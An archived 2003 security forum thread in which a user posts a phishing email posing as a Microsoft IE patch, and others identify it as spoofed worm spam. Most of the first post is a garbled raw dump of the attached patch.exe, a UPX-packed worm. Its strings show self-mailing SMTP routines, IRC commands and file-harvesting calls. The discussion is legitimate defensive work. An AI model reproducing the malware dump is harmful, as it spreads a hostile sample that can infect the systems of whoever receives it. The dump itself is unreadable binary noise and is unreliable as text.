Results 1 to 4 of 4

Thread: Another virus / trojan? haha!

  1. November 11th, 2003, 02:16 PM #1
    RogueSpy
    RogueSpy is offline
    Forgotten Ghost RogueSpy's Avatar
    Join Date
    Aug 2001
    Location
    Cyberspace
    Posts
    783

    Another virus / trojan? haha!

    Someone must not like me. . . and they think im stupid. Got another one of these funny e-mails. lol This one says its from Microsoft. Interesting return path. Damn script kiddies.


    Status: U
    Return-Path: <[email protected]>
    Received: from localhost ([216.12.50.133])
    by swallow (EarthLink SMTP Server) with SMTP id 1ajx5F3a33NZFkN0
    for <roguespy>; Tue, 11 Nov 2003 03:53:47 -0800 (PST)
    From: "Microsoft" <[email protected]>
    To: <roguespy>
    Subject: Use this patch immediately !
    MIME-Version: 1.0
    Content-Type: multipart/mixed;boundary="xxxx"
    Message-Id: <200311110353.1ajx5F3a33NZFkN0@swallow>
    Date: Tue, 11 Nov 2003 03:53:47 -0800 (PST)

    --xxxx
    Content-Type: text/plain;
    Content-Transfer-Encoding: 7bit

    Dear friend , use this Internet Explorer patch now!
    There are dangerous virus in the Internet now!
    More than 500.000 already infected!

    --xxxx
    Content-Type: application/download
    Content-Transfer-Encoding: base64
    Content-Disposition: attachment; filename=patch.exe

    MZP    ÿÿ ¸ @   º ´ Í!¸LÍ!This program must be run under Win32
    $7 PE L ü,;ª *    p @› € @    
    °        UPX0 p   € *UPX1 €   @ *UPX2   " @ À 1.08 UPX!  ïÇ ¬}ÿCÂt 6 P & lûÛïþè ,j SQ‹Ø
    D$PSòßï¶ójõSP§Z[Ðþ¹*ºh ÀÿÇÛ'9JÆ€U‹Žý_ûìQSVWr‹ù‹E‹òu•þ·±ï‚UüRWV
    ƒü_^[Y] X@ŽÀ3*¹ûÞüÞ#·z;Pj@** îïÊ}WƒÄð‹ú‹ðáûoÛ•gV…Àu Yÿýÿ
    ƒÈÿë9fÇ$€P ‹
    ‹‰.m/¸_WDûf
    TRnûÀŽ-@6‹Ãa—}{÷»ÃǁÄDùÿÿt…dþPhð*—¯'kt3Àé
    ³ºß/»Í2Ë‹ƒûÿu
    Nïv3 Ççˆjü¡µ*h
    hKã”nH¾MüQh qü?a+Á <õ¾•ƒú2ö`±Ùt¯e…ƒ½`x\ûýþÿ@s‹•ÿ…‰œ2}>ŸÜ\ú\ú\ú`ÜßÜÍœô¿E‰EøÇ…H»M³Ýo@ Lh2•¼öRŽá‹MQœï±gc%óÂ
    áh=.}@¾Q8‰…PûfšÍ]cTAR ‰XÚ÷¦\H3ÿµŒž‡Ç×A
    R¥
    8᳎ïW^P‹éÉÆÞV\)ô&Q){7[ H
    ¸Ok@ž„˜ ]4u)™,FI5˜áÿGƒÆƒÿŒRX¸'ÝáUF‹å]GS`nì¶ Õba¶ üÿ»¿ýÈ  `‹Vhæ¸@-oÿÐðý¬<.…*ÝÛuû@t÷FF‰"üªÂÿãøèiphlpapi.dll£oÿû&€¬È;<GetNworF°ßþkParamsùhîêÀ"pþ:sáøQ¢ü µÆÝþ¿ï¯€> u@x199.166.2
    ]A¾šfó¥,T5?ÿaáû21PŸüÙσøÿ*ÛÝ„?hëçüF*vú9Ã`÷»ù”U³“*
    hËÄ.L]²û±cEù @hœ}“v ¤þ{ ¸@ ½6øƒÇìoÖÜA¬ûWI‹ýü|¶ï¹aØóª`d ²7›Ã6¾€ ìPr•t>ºYÇì =W¶Ö²ÛaœÉÃ=a¸!ÿÿo9ÜÈš'Ë}*F*ˆGþa«ðÂÉ€)uóFµ‹º«Ôþ¶tÆ.Gë*Àä
    ¼ûn2 aÉ ô*F‡ða*Ù`!¾N} ï »]›Žl4î…5ÓG(çGþ5Ò•
    ñ ƒÀ @¾eÜ®P*F¶ýÜbê
    fi¾!Ûe°dC°?6ñ9Ù]YòÁ¶Ù7ò 9lÀnwmfƒ§t
    þwìa E Èù0lµ»îüü}Pù·R37’Ø‚ !ƒM ¿„–yG2É‹U Œ.* Ït
    £F¤Áëìˆw-fØ×’0 &×GFì7¾îëÖÈW`͏hjñzüW„ó¿‹]‰î`fÇEð&-Ùw/EòþhÆCôûnÍmmã3‹@ ô@ºËþÆ–3h*þØ*%p®
    „u~("¡[BÀl(`ÂñÿÿÿÈr0‹K<‹Lxã'Ë3ö³Q ‹ÓÿË*¿SÁÀ2B€:Võ;$t F;qrÝÿÛ
    ¶ÌëhQ$"·r‹AÃ1»*‹‰\aøëXX·öÿÕ‹d$ùë]dgÿ6‰&ØÿÓ*ï HX‹Ss”Ž ÒtƒÂ »¿oøã;uð üãrv·|³ +Ÿ ² ã¬#ï.·¥‰\$øVXa€ 3D +ñËÿ= a|Ãdg¡ƒ8ÿ‹X*»ÿ»‰öÃf3ہû ë‹÷Øf=þÿ·Û³¥gÃ`Ê- **‡P5.>54P"çåہÀß 
    esPTsË—7Ý“é w1´³ÿ~.<$!߀LÙ+ ÿ] < Í.=+[]áYr;ÿ‰L;m·èb‰¿‰*‹D
    ¹Á°ôw‰ ™÷ù@‘g»‚ë\‹'³L
    }ùÿÿABCDEFGHIJKLMNOPQRSTUXYZabcÿÿÿÿdefghijklmnopqrstuvwxyz012345678ÿÿÂÿ9+/_U3*¶Ú€ã?*<ˆ<2Ff‹*‡]öÆßf*· @0WÈ2ÿc=jîEƒýv W¨2
    Ÿýmƒ
    •
    9ÿ \Íu±ÿä‹ð‹Æø;Î[8;+tÜ9v–Ô,>ØUSä]Ù*Y4¹ºPRž-¬ šQ
    ‹ÐÖþÐ5ýeÇzhLR‘8ÞýB üj]Õ*öT¤3)]ëM
    ´ãÕ~& ý¦ D¸¡_*4J]* Àì¹J¥?~ƒì&UѯôlKa „‰¾nûcð;ò f¬ âþ7haN.N‰4$3ÉF¬
    oý·
    47s3A<-tò<´î<0øÿÿî‚°•<9vâ<Ar'<`vë<[rÔ<\t*wÑÞË^rzvăù ;v°ßùrp+´‡‰0*ûÝÚ¶ dteý‹kNAl—¦{öS;!v$p*ér>4]×tlá6fÙb.*? ÖÑÍ*a"‹@+„Fd{gçœmf2¶{þIëÕNë’ÛôlýNët ¡·yv4õ*¶n¡¶ÜD¼@
    µ
    Î}%L+,0i²Ûì*ü¬
    ÿÿL«C*u]ŒI¸~¶0Ý%I÷u¦;ÙbM
    j@_Ø*½Ë1z;sEÜßÁÚõñ*tn*8&,<[ëó
    Q2,ÝD<óÍ-o!
    ‡ŽÚloxQé( À(|`ÞZüó¤ñ«ÿÚ Ã„
    À¶¤ø'^ÃÄîÞ{ðœVQÕ-r
    Hw âõ ›{©Ëä^Ãæ rpGC;‡ ¦ô:ùeÊ  ý½&À—F/;3odUA€yuPùJ‡ac#ˆë/µÔ;û~62
    u¿mo·ÆC@ï3÷Dë.,3ŽÛ±¥Ur7gç…锞z©Æÿ;ß•Áƒá#ÑeRU7[*O1ØC€<¦Ì/[×–åøG>¶MK+dÀ± ß*Ht—7R‹l;ë6õX²á<6*>„ÀuÎëòÀ ûÚ¿CS\DûÚÍŹ鑥ØpV¤ úü ðýh*OndRvôþwh\R~gõ*Rû ÁsL“ôÞ" D)X¦#l²ä8‘µ…Cü¡3Ò_-À¡Uø¤¾X|m@k
    ï7W'ܽVxÁ–…öt’Žœ•X6›ošrý¹M—,P°ðý g³‹ÈA|¨Á*X·ZuŽ²Ñ×`ä¼ö¾µön²sf½¼âO¼ú‚$7ÀÑŽiM.¼úÃW˜ä¼úW"Q?
    (R'1s¬*¾a7Àƒ*PRÊw;ZŽx5 ЍG'·ßvYk*~(ƒü?ʍW(QPÓRXaßö]ƒÁYˆ›06ƒ(ØSÄYSÈ%ƒpt\ö—2ööO˜, ²,"öV…Æß4YötGójnYÊ.k!-dÇ@h‚ƒ¹ökÁ_¶eŒYW‹¾>Ça³…*¿RY×…Yæ'è\øˆ¥‡-Ð ‡¼€¤æŒ1ûWõWckóØìÇe»œë5±X{/®t(MŽ4Ù¥óã\ i‰S…šjϘþá[«1Rr`gŸ“bØL$¬Ì4må
    *ÿuÂoNºéäë‹ÅsðÍ‹Ö‹ÓŽ““ÇÇÛŽxÎÖg~$ë
    hôd›@0ü¥#%捌$* 4žŒ<3Ù£0:·Às¼i,xÍ0\œAä-p2EÅÂøècçÓÓ/,UÓpœü W§mD°Ú’¤”ÂXG~§ìûE4‹5=¬Y{Ûì§oÿuM¯î”j¤ä¹ÔzËfµ‚3_m@<Dü($õÀ*µP 'Œh¹e?‚œèýþ…:l=×s'´sþ5[™Pl¼h@À Ñì ^ Txü>³µ¼h¾]¼Ä;Á*[„Þ =èß*3'ÜA4PQ4R,e;›ž=±nM4Sìûï;°Ù)‰TÂÉ
    É4cFtΘq7ø !ÏÆlad7³î,û,k ÍäÀ>üë&7¨I‡•s¸p(”ƒðÂ@ÏÀöΓIUÀÀy ²ÙcÇRÀúSÀÐ"Í …ÀP·Þ“‘7R3ÒBhÌ@ƒ=„QѾugdö ÈÉ$Ñööm…½–fñ;âV<¸N9²vßÌ4Hyú¿À!9ÀÀ½Ör ÀèV¼õzH¶
    ¹]0Û븷{Jð,¿Ý1Huö© <ù»m»´Ì¨&Y6÷`¼˜°Z“Ó=™ŒbƒÅã” ýIwƒØ"PJ)P*Þ±×Zœ)3öi4‹…¿F@*„Ò Òøfÿ -+ D#Êuä$s ²¦ÅV_@¶Ž*þi¡³Ú3_fÆf‘ƒ¡1k6Û¯ç…G.Ú·ÆÎôM…*tQå6a ’Õk ÛlX¬Œ¤ŒØsaù ”DzKvËj"™¤eThë¾O*?º•“Rhv€ *Ñ©][ÒÐÙ^‚ZE‰äl >Ý‹ $™×*„eg›PvSLš¬÷’½*"mX÷‹d Q9`òH¾³X^³ù!ÈÈlz8òìa¢E? mgÞ“a7
    ‘ƒˆ0³U0—Ê €ó¥›\ò°_û¨%ž{K^Æ#¨%©€Ýz–ùðƒOu#×é½×,Ø1fš`g‘¯¨Æ%*.$6Û¡¨ª‹ÙÕWÉ>‘$ôË\ Gb”Õè7Æ.t›ÊÈ&#[û ÿ%PaóTX####\`dh####lptx####|€„ˆ####Œ”˜####œ ¤¨####¬°´¸####¼ÀÄÈ####ÌÐÔØ####Ü*äè####ìôøüFFž#b FFFF FFFF$(,4=Tf MZPu‘‰O„ E‹¸»J–‚ê—¸üº ´ Í!¸Lisßú*ú prog mustMe ruvþÛn der Win3$7ÿü·G PEL ì.P°Áºÿ‡* Ž  
    06a°  v8ìì (`L
    6v83 Ar¹l @,öB¶÷¤CODE×w ûë#¶*DAa_lØTA Û '+QânÂÀ.iD.KÁ@'re²AälocP$' (²— ÿ€Ó`èô3ë
    3Òdÿ2d‰"iSïÜè ZaL•cDyhã$*[4"@ïÂl K}‹@‹÷Ëïò £Ã#¾!M**f£ÁÙºQL.@-OûÛݽH£¼h¿ÿ5 èßïîê&c‹ ï¾HƒÇ‹¿*ÍïϾ¹n<É«jnïY¾«'ï²{r3–•+Ý OÖÞûÿÿÿ΁>PINGuÆFOV¬<
    uû+Î÷Ù^èè6rrd³d ô„¦Ÿïîn¶ÉÉVè4˜‘è¾ãë~Fžßé…#¤r¾VµzFÆ‘_öîRÿù›tQ@tNƒC@7 ÿ¯-ûRIVMSG #& :!@.ñady
    ÞÌs;^X®8Hèݱ¶#bxVNèÙÃßÜmÍ–•è%Œ*/XÂÛ¿txçÕ+́ù*“šrà u®4|tnF ˆuÿ»ÿ»~uºj Y¿ßʋץ¥^A¬ª<!wá²ýuùO° ª-:ªë™¸w~ïþ»X:jX`‹<… -¶ˆ¯4…Äÿð<ó¦auÿãH¸ÜoÚëw½zéVßœá…Q`¿Zj%taf°yþÿ¸.
    f«°
    ªƒÁ‹òèT0¿á‡÷˜À¥Ø."a‰=>¸**&Üxám«*ëÓO3@ÅëìplÈ€oÞèÅg6 _ó‹Ñö8YØÊ
    ÿ™‹=>økλӣO3Àè¼A›mûÖ 9PhÉPA5‘ãÃÜIúQèéq¤ ‰GÇ¿7ÖRh!”öÃ$ß_XøIP ÕdÚss: ^¿Wâ¿oÝèåƒaøü¹"ó¤jdhŸÎ\WY52Y òPp ›¬û*ÿ0èó
    –9«6V`óm–_/Æk¶È{¾1¢Üç|ÇþФ
    »Vk»'÷*~ÞQ¾q&.¤é¿a_*F€ú'è^Y_ÿ7ƒÙL‰8²ð÷ñü‘oáB‹Ê (’Aªè¸8òdRèjYâÚü°\Ú
    Ã3ÉI‹Ñûÿ/Z3Û¬2Á*Í*ê*Ö¶fÑëØs f5 ÿÛÿÿƒfó¸*þÎuë3È3ÓOuÕ÷FÑ[‹ÂÁÀf‹û¿øÁZYÃV60|<9wAëô^J`ý~™kÒ
    ¬I0Ðâõ’Ã`e]Í`Ýæx“ Ú•eÏ`Ÿš€#'~Ùt4/¶*òUèn§hŒ·Ìl‡h$¡&^›Ù̏G Ae³w=þ aÃß@‘‘‘±¨¬°‘‘‘‘´¸¼Ä‘‘‘‘ÈÌÐÔ‘‘‘‘ØÜ*ä‘‘‘‘èìðôU€™‘øü P´Npa£ÖÝ~÷߉dos stopwhois6 7 [û¶t+egold-&iûýng.com¢USER w8`¿5UNICK JOÖ>H4ÖL911l¡"V¦B€MD‰!À+kGsÔ Ù
    ñ¦k }ÆìÜ5½M@= 5v"ì
    f<@¬Y^A `®ÂjÄ_,›¦iš:HT\hxAšî5g#ˆ’W¨²iš¦i¼ÌÚæîÛ4˦üB Bcâ7® KWNEL32§Yã¯òWSOX ¡ƒ•ÿExitProce
    Thª¶ß8ÁCseHan*enc_jlrcpy“SepÙnäÁlenC6te=HÿhJTickCoun\nß÷¥Gnnec
    cWsskecå¯ý
    bi`Sacc)l?µ¯µiVT g!*bynKßÞamƒ¼ASta¬up[v·*8_\oa^hts!ïͶ6¶n!æd³vn“cvvk|ˆ²Ù°a_ ÿ¿ÙŒ(070N0S0`00œ0—úÿÿ¦0»0171J1x0…0o1¿23!2Cÿÿÿÿ2J2Q2x2®2ì2
    3P3l3*33¦3Â3Õ3ñ34ÿÿÿÿ4&4å4õ4
    55?5E5K5Q5W5]5c5i5o5u5{ˆÿÿÿ55‡55“5™5Ÿ5¥5«5±5·5½5Ã5ìÿ»Ác¤3¨3¬3³3·3»3 *‡*(HELO -0À‘alæªýÿÿÿMAIL FROM: <[email protected]>xÝß RCPT TO  ·wæQUITFrom"MìÿöÛicsoft"(security@mƒ*15=ToFS*¶5*ubjü
    U+ t—*ÿ/Catch immedi7ly**ÿÛ !&MIME-Version+1.0ü*µC -Type:·m ¾qltip/jx9;b*û¶]dy="x ".ÛFöv -- 9
    x4*l{plað;ransfo*Öˆ*-En°d*'7bÈ— Ý~FDeV fÕ1 ,/AwØ u¶I8rw ExvÖnLor Ènow¿ThµÖÜÖ(a”L ¬kî*1vir[?e>¾9w¶/MA+ 500Ý£¶Ö* ;l(/fØÛ /á!‹ÑamC+´po}+/dNÛ‰¬µnŽ8ÚbaÅ6h…*²4"DÏp*î·n»ElGtaÇm;öilXë‚e=Û.9e»Û–EXˆ.\wit{ù.g \*.* .htmwab 6syldbxtbd²Ö#2C:B B\¸. ^ÆÜ›ý :STR]ˆC /*FÐ „jâÆ“âDLLÁegB\hArS|ceÞt|î
    \["ES£wÁd4§\Æ\º*Es\CÊr…ˆ6Û8\R` 8@ÁÙØÖ3g@w- Òmûú .ivxP/ƒµ“be Z£Ýh*¨otÎA×Þ¬Ûyœm1F¤"„*
    ‚²U V’¤`ÙLŒPQož
    ¾ mpGlobç³ôalAllen
    è¯âetS£Dir„ 1 Þor5ÞFP@Þ5 Dele´;
    eIoVrol«8 SFáûf%hN{,[TXH ïop
    NameÖºÛ Fmm
    L7/ÍÐDriveòû²å‚ttribusSiz@–-k?Modua‰*›Íe A»ì
    {ñtd„²•×ÚB!r—*Ø%¼ÂoCZ=dPÀno%rsêK¶„SGQÌç
    ]]RR1÷Sفŀw+S*¹ [PoiJ
    î À*iv·¡5×8**so„Æf³c
    PL»Ý¡3Çýf3Xng&_lÞwp³cðèw/4[0.AK™ôÛÛ%è`Op«KeysAsb. ¢f³¹[Vâue4¦4Rt„`AúânnšÍµÝ‹#²ÀvCtšc6÷p€«¥cð*
    Á;!ŒåcN¸„ 7X„€K+„1»YF&ùü,;ª,B.’ 0€ò+ä/` ¶p ¸€œ  8ßr`÷$»Èˆ`KHN.2"pNÜïHP<b– 4Ò  ÿ `¾ €@ ¾ ÿÿWƒÍÿ됐*FˆGÛu‹ƒîüÛr*¸ Ûu‹ƒîüÛÀÛsïu ‹ƒîüÛsä1Ƀèr
    Á**Fƒðÿtt‰ÅÛu‹ƒîüÛÉÛu‹ƒîüÛÉu AÛu‹ƒîüÛÉÛsïu ‹ƒîüÛsäƒÁý óÿÿƒÑ/ƒýüv*BˆGIu÷écÿÿÿ‹ƒÂ‰ƒÇƒéwñÏéLÿÿÿ^‰÷¹7 *G,è<w÷€? uò‹*_fÁèÁÀ*Ä)ø€ëèð‰ƒÇ‰Øâٍ¾ p ‹ Àt<‹_„0  óPƒÇÿ–d •*GÀt܉ùWHò®Uÿ–h Àt‰ƒÃëáÿ–l aélsÿÿ Œ d ™ t ¦ | ² „ ¾ Ì Ü ê ø ¡ KERNEL32.DLL ADVAPI32.dll wininet.dll WSOCK32.dll LoadLibraryA GetProcAddress ExitProcess RegCloseKey InternetGetConnectedState send z (l 4l < ¢„ Xl
    "Never give in-never, never, never, in nothing great or small, large or petty, never give in to convictions of honor and good sense. Never yield to force; never yield to the apparently overwhelming might of the enemy!" - Winston Churchill
    Reply With Quote Reply With Quote
  2. November 11th, 2003, 03:00 PM #2
    emrys
    emrys is offline
    Antionline Quitter..Srsly
    Join Date
    Aug 2001
    Posts
    457
    LOL...who seriously thinks microsoft would start a legit email with "dear friend" :P~
    \"\"A weak mind is like a microscope, which magnifies trifling things but cannot receive great ones.\" — G.K. Chesterton, 19th-century English essayist and poet\"
    Reply With Quote Reply With Quote
  3. November 11th, 2003, 04:01 PM #3
    RogueSpy
    RogueSpy is offline
    Forgotten Ghost RogueSpy's Avatar
    Join Date
    Aug 2001
    Location
    Cyberspace
    Posts
    783
    Skript Kiddies my friend. . . . Retarded script kiddies.

    Any idea what this one is? This is becoming a habit. . . . maybe I need a forum called "Name that Virus/Trojan" lol
    "Never give in-never, never, never, in nothing great or small, large or petty, never give in to convictions of honor and good sense. Never yield to force; never yield to the apparently overwhelming might of the enemy!" - Winston Churchill
    Reply With Quote Reply With Quote
  4. November 12th, 2003, 02:10 AM #4
    MrLinus
    MrLinus is offline
    Just a Virtualized Geek MrLinus's Avatar
    Join Date
    Sep 2001
    Location
    Redondo Beach, CA
    Posts
    7,323
    Rogue, http://support-antivirus.web.cern.ch..._6/virus_6.asp .

    Generally, the body of the email will give it away. If I'm suspicious, I just plop a line or two into Google and see what pops up. It looks more like automated worm activity than a deliberate target. I expect that the address is spoofed (email addy doesn't match source addy).
    Goodbye, Mittens (1992-2008). My pillow will be cold without your purring beside my head
    Extra! Extra! Get your FREE copy of Insight Newsletter||MsMittens' HomePage
    Reply With Quote Reply With Quote
« Previous Thread | Next Thread »

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

Forum Rules